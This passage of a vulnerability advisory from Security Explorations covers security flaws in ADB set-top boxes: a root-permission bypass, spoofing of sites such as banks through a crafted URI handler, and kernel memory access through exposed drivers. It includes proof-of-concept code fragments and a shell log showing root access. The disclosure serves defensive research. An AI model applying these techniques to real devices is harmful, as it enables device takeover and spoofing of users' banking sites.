Thus, there is one global instance of `RootPermissionGrantor` object in the system. `RootPermissionGrantor` object is used by `AppSecurityManager` for the implementation of various security checks as ilustrated below:

```
    protected void checkPIDPermission(Permission permission) {
        int i = MpBase.currentProcess();
        if (i == -1)
            return;
        if (rootPermissionsGrantor.hasRootPermissions(i))
            return;
        Permissions permissions = permProvider.getPermissions(i);
        If (permissions == null)
            throw new SecurityException();
        if (!permissions.Permissions.implies(permission)
            && !checkIxcPermission(permissions, permission))
            throw new SecurityException("No Permissions found for PID 0x" +
                          Integer.toHexString(i) + " " + permission);
        else
            return;
    }
```

In particular, the check for a given permission is always successful if the `rootPermissionsGrantor` object says so.

The problem with `RootPermissionGrantor` class stems from the fact that its instance can be easily obtained and a root permission can be granted to arbitrary processes with the use of a `grantRootPermissions` method call:

```
    public void grantRootPermissions(int i) {
        MpBase.doImmortal(new PutPrivilegeAction(i));
    }
```

The described implementation of a security manager object breaks security of the whole Java environment as it allows for easy bypass of all security checks imposed on MHP or DVB-J applications.

[Issue #28 – arbitrary system reconfiguration via environment variables]

It is possible to influence the configuration of a target device or MHP application by the means of environment variables. User defined environment variables can be set through `/eeprom/env` file. They will be read upon system boot up or immediately after issuing a call to `/proc/triggers/env_reload` trigger[2].

Some variables influence the security of the whole system environment. This includes, but is not limited to the following variable names:

```
SECURITY_MANAGER
SECURITY_MODE
SIGNED_XLETS_ONLY
XION_RESTRICTED_PROTOCOLS
```

[Issue #29 – easy websites' spoofing]

The Xion web browser does not present any information with respect to the target website from which the content was fetched and is being presented on the user's TV screen. Such a behaviour allows for an easy spoofing of websites in the context of attackers having access to the target ADB device. For example, users might be redirected to the fake Allegro or BOK website under attacker's control. All of this could happen without the user's consent.

[2] The trigger is called when its file is opened and read.

Arbitrary redirection to the fake website can be implemented in the environment of ADB set-top-boxes with the use of a proper `URIConnectionHandler` subclass.

Security Explorations verified and implemented support for redirection of arbitrary websites in its Proof of Concept code. This was accomplised by the means of a specially crafted URIHandler class as illustrated below:

```
public static class URIHandler implements URIConnectionHandler {
  public URIConnection createConnection(URI uri) throws
                                                  URIConnectionException {
   String scheme=uri.getScheme();
   if (scheme==null) return null;
   scheme=scheme.toLowerCase();

   URIConnection conn=null;

   if (scheme.equals("http")||scheme.equals("https")) {
    String mappeduri=(String)urimap.get(uri.toExternalForm());
    if (mappeduri!=null) {
     uri=new URI(mappeduri);

     if (uri.getScheme().equals("flash")) {
      conn=URIConnectionFactory.getInstance().createURIConnection(uri);
     } else {
      ...
     }
    } else {
     ...
    }
   } else {
    conn=new com.adb.xion.net.nativehttp.URIConnection(uri);
   }

   return conn;
}
```

[Issue #30 – arbitrary write access to open file descriptors]

A class `tv.osmosys.java.io.DebugStream` available for Java applications exposes the following method:

```
    public void write(int i) {
      nativeWrite(fd, i);
    }
```

The above indicates that Java applications can issue write operation on arbitrary open file descriptors. This issue is in particular important in the context of Issue #25 (shared open file descriptors).

[Issue #31 – arbitrary kernel I/O space access]

ITI2849ST and ITI2850ST devices contain a library `libstd_drv_mem.so`, which can be easily leveraged to obtain access to the kernel I/O space by unprivileged processes.

Security Explorations verified that among other things, this could be successfully used to obtain access to the restricted I/O ports of the STi7111 chipset.

In our Proof of Concept code's implementation we make use of the following symbols exported by the `libstd_drv_mem.so` library to achieve the aforementioned goal:

```
handle=Dl.open_flags("libstd_drv_mem.so",Dl.RTLD_NOW|Dl.RTLD_NODELETE);
mopen=Dl.getsym(handle,"MEM_Open");
mclose=Dl.getsym(handle,"MEM_Close");
mread=Dl.getsym(handle,"MEM_Read32");
mwrite=Dl.getsym(handle,"MEM_Write32");
```

[Issue #32 – arbitrary kernel access via dbgio interface]

ITI5800S and ITI5800SX set-top-box devices expose `/dev` filesystem in the environment of the sandboxed (chroot) process. Among devices available under `/dev` directory, there is a `/dev/dbgio` device, which can be open in `O_RDWR` mode by the thread operating in the context of the unprivileged MHP process.

There is a problem with the implementation of a device driver implementing the functionality of the `/dev/dbgio` device. This problem stems from the fact that the driver implements several IOCTL calls allowing for arbitrary read / write kernel memory access, but does not implement any security checks at all with respect to who can access the device or to which kernel memory range arbitrary IOCTL calls can be issued.

This is illustrated by a sample code fragment below implementing the IOCTL handler for the read memory functionality:

```
.text:00000040                  mov.l   @(h'A8,pc), r1 ; [000000EC] = h'40046401
.text:00000042                  cmp/eq  r1, r6
.text:00000044                  bt/s    loc_60         ;jump if read memory IOCTL
.text:00000046                  mov     #-5, r0
.text:00000048                  mov.l   @(h'A4,pc), r1 ; [000000F0] = h'C00C6410
.text:0000004A                  cmp/eq  r1, r6
.text:0000004C                  bt      loc_80
.text:0000004E                  rts
.text:00000050                  nop
.text:00000060
.text:00000060                  mov.l   @r7, r1        ;read memory implementation
.text:00000062                  mov     #0, r0
.text:00000064                  mov.l   @r1, r1        ;read memory
.text:00000066                  rts
.text:00000068                  mov.l   r1, @r7        ;write read value to result
```

Similarily to Issue #8, access to `/dev/dbgio` device poses serious security risk to the security of a target OS. Attackers, might use its functionality to gain full access to the virtual memory space of a target OS. This in particular, allows for the:

- access to restricted I/O functionality such as the one implemented by the GSECHAL device driver,
- privilege elevation to user root and chroot sandbox escape,
- execution of attacker's code in the kernel context.

APPENDIX A

```
c:\_PROJECTS\DTV\>shell
# NBOX HDTV client for ITI 5800S, ITI 5800SX, ITI 2850ST, ITI2849ST
# (c) SECURITY EXPLORATIONS    2011 poland
box> go 1
box> ps
box> root
uid=0(root) gid=0(root)
box> ps
UID       PID      CMD
root      1        init
root      2        [ksoftirqd/0]
root      3        [events/0]
root      4        [khelper]
root      9        [kthread]
root      19       [kblockd/0]
root      27       [khubd]
root      59       [pdflush]
root      60       [pdflush]
root      62       [aio/0]
root      61       [kswapd0]
root      66       [mtdblockd]
root      78       init
root      79       /bin/sh /etc/init.d/rcS
root      82       [jffs2_gcd_mtd2]
root      98       [STFDMA_ClbckMgr]
root      103      [stpti4_IntTask]
root      104      [stpti4_EvtTask]
root      121      [EVTCOLL0]
root      122      [EVTCOLL1]
root      123      [PESCOLL0]
root      124      [PESCOLL1]
root      125      [SECCOLL0]
root      126      [SECCOLL1]
root      133      [hdmi_isr_task]
root      134      [hdmi_ctrl_task]
root      147      [EMBXSHM-NewPort]
root      148      [EMBXSHM-PortClo]
root      171      [video_mp2_decod]
root      174      [HostRec40800000]
root      175      [PreprocTask[0]]
root      176      [h264_decoder]
root      192      [audiodecoder]
root      211      [ActivityTask]
root      214      [ttxt]
root      223      [ifp_WorkTask]
root      267      /bin/sh /root/dhcpc.sh
root      270      /sbin/udhcpc -f -s /etc/udhcpc.script -p /tmp/udhcpc.pid
-z /tmp/udhcpc.opt
root      282      /bin/sh /root/netd.sh
root      283      /root/root.elf
```

```
uapp01     285      /root/main.elf
root       287      /sbin/netd_server
root       522      [leds_WorkTask]
box>
box> ls /proc/285/fd
[/proc/285/fd]
lrwxrwxrwx       root    root     0 -> /dev/null
lrwxrwxrwx       root    root     1 -> /dev/null
lrwxrwxrwx       root    root     2 -> /dev/null
lrwxrwxrwx       root    root     3 -> /proc/version
lrwxrwxrwx       root    root     4 -> /var/run/root_pipe_read
lrwxrwxrwx       root    root     5 -> /var/run/root_pipe_write
lrwxrwxrwx       root    root     6 -> /dev/gpio
lrwxrwxrwx       root    root     7 -> /dev/watchdog
lrwxrwxrwx       root    root     8 -> /dev/kmem
lrwxrwxrwx       root    root     9 -> /dev/ccore_dma0
lrwxrwxrwx       root    root     10 -> /dev/ccore_dma1
lrwxrwxrwx       root    root     11 -> /dev/ccore_dma2
lrwxrwxrwx       root    root     12 -> /dev/ccore_dma3
lrwxrwxrwx       root    root     13 -> /dev/ccore_dma_sck
lrwxrwxrwx       root    root     14 -> /dev/i2c-0
lrwxrwxrwx       root    root     15 -> /dev/input/event0
lrwxrwxrwx       root    root     16 -> /dev/input/event1
lrwxrwxrwx       root    root     17 -> /dev/input/event2
lrwxrwxrwx       root    root     18 -> /dev/input/event3
lrwxrwxrwx       root    root     19 -> /dev/adb_display
lrwxrwxrwx       root    root     20 -> /dev/diseqc0
lrwxrwxrwx       root    root     21 -> /dev/tsmerge
lrwxrwxrwx       root    root     22 -> /dev/dvr0
lrwxrwxrwx       root    root     23 -> pipe:[375]
lrwxrwxrwx       root    root     24 -> pipe:[375]
lrwxrwxrwx       root    root     25 -> pipe:[376]
lrwxrwxrwx       root    root     26 -> pipe:[376]
lrwxrwxrwx       root    root     27 -> /dev/dmx0
lrwxrwxrwx       root    root     28 -> /dev/dmx0
lrwxrwxrwx       root    root     29 -> pipe:[377]
lrwxrwxrwx       root    root     30 -> pipe:[377]
lrwxrwxrwx       root    root     31 -> pipe:[378]
lrwxrwxrwx       root    root     32 -> pipe:[378]
lrwxrwxrwx       root    root     33 -> /dev/dmx1
lrwxrwxrwx       root    root     34 -> /dev/dmx1
lrwxrwxrwx       root    root     35 -> /dev/dmx0
lrwxrwxrwx       root    root     36 -> /dev/dmx0
lrwxrwxrwx       root    root     37 -> /dev/dmx0
lrwxrwxrwx       root    root     38 -> /dev/dmx0
lrwxrwxrwx       root    root     39 -> /dev/dmx0
lrwxrwxrwx       root    root     40 -> /dev/dmx0
lrwxrwxrwx       root    root     41 -> /dev/dmx0
lrwxrwxrwx       root    root     42 -> /dev/dmx0
lrwxrwxrwx       root    root     43 -> /dev/dmx0
lrwxrwxrwx       root    root     44 -> /dev/dmx0
lrwxrwxrwx       root    root     45 -> /dev/dmx0
lrwxrwxrwx       root    root     46 -> /dev/dmx0
lrwxrwxrwx       root    root      47 -> /dev/dmx0
lrwxrwxrwx       root    root      48 -> /dev/dmx0
lrwxrwxrwx       root    root      49 -> /dev/dmx0
lrwxrwxrwx       root    root      50 -> /dev/dmx1
lrwxrwxrwx       root    root      51 -> /dev/dmx1
lrwxrwxrwx       root    root      52 -> /dev/dmx1
lrwxrwxrwx       root    root      53 -> /dev/dmx1
lrwxrwxrwx       root    root      54 -> /dev/dmx1
lrwxrwxrwx       root    root      55 -> /dev/dmx1
lrwxrwxrwx       root    root      56 -> /dev/dmx1
lrwxrwxrwx       root    root      57 -> /dev/dmx1
lrwxrwxrwx       root    root      58 -> /dev/dmx1
lrwxrwxrwx       root    root      59 -> /dev/dmx1
lrwxrwxrwx       root    root      60 -> /dev/dmx1
lrwxrwxrwx       root    root      61 -> /dev/dmx1
lrwxrwxrwx       root    root      62 -> /dev/dmx1
lrwxrwxrwx       root    root      63 -> /dev/dmx1
lrwxrwxrwx       root    root      64 -> /dev/dmx1
lrwxrwxrwx       root    root      65 -> /dev/dco_clk
lrwxrwxrwx       root    root      66 -> /dev/vidout
lrwxrwxrwx       root    root      67 -> /dev/vdisp
lrwxrwxrwx       root    root      68 -> /dev/avll
lrwxrwxrwx       root    root      69 -> /dev/hdcp
lrwxrwxrwx       root    root      70 -> /dev/scart
lrwxrwxrwx       root    root      71 -> /dev/vidmixer
lrwxrwxrwx       root    root      72 -> /dev/fb1
lrwxrwxrwx       root    root      73 -> /dev/fb0
lrwxrwxrwx       root    root      74 -> /dev/teletext
lrwxrwxrwx       root    root      75 -> socket:[388]
lrwxrwxrwx       root    root      76 -> pipe:[389]
lrwxrwxrwx       root    root      77 -> pipe:[389]
lrwxrwxrwx       root    root      78 -> /dev/sc0
lrwxrwxrwx       root    root      79 -> /dev/st231cm
lrwxrwxrwx       root    root      80 -> /dev/dmx0
lrwxrwxrwx       root    root      81 -> /dev/edid
lrwxrwxrwx       root    root      82 -> /opt/uapp01/var/run/netd1
lrwxrwxrwx       root    root      83 -> /opt/uapp01/var/run/netd2
lrwxrwxrwx       root    root      84 -> /opt/uapp01/var/run/netd3
lrwxrwxrwx       root    root      85 -> socket:[422]
lrwxrwxrwx       root    root      86 -> socket:[423]
lrwxrwxrwx       root    root      87 -> socket:[619]
lrwxrwxrwx       root    root      88 -> /opt/uapp01/dev/dmx0
lrwxrwxrwx       root    root      89 -> /opt/uapp01/dev/dmx0
lrwxrwxrwx       root    root      94 -> socket:[640]
```

REFERENCES

[1] Wikipedia entry for LinuxThreads, http://en.wikipedia.org/wiki/LinuxThreads

[2] PTHREADS(7) Man page,
http://www.kernel.org/doc/manpages/online/pages/man7/pthreads.7.html

About Security Explorations

Security Explorations (`http://www.security-explorations.com`) is a security start-up company from Poland, providing various services in the area of security and vulnerability research. The company came to life in a result of a true passion of its founder for breaking security of things and analyzing software for security defects. Adam Gowdiak is the company's founder and its CEO. Adam is an experienced Java Virtual Machine hacker, with over 50 security issues uncovered in the Java technology over the recent years. He is also the hacking contest co-winner and the man who has put Microsoft Windows to its knees (vide MS03-026). He was also the first one to present successful and widespread attack against mobile Java platform in 2004.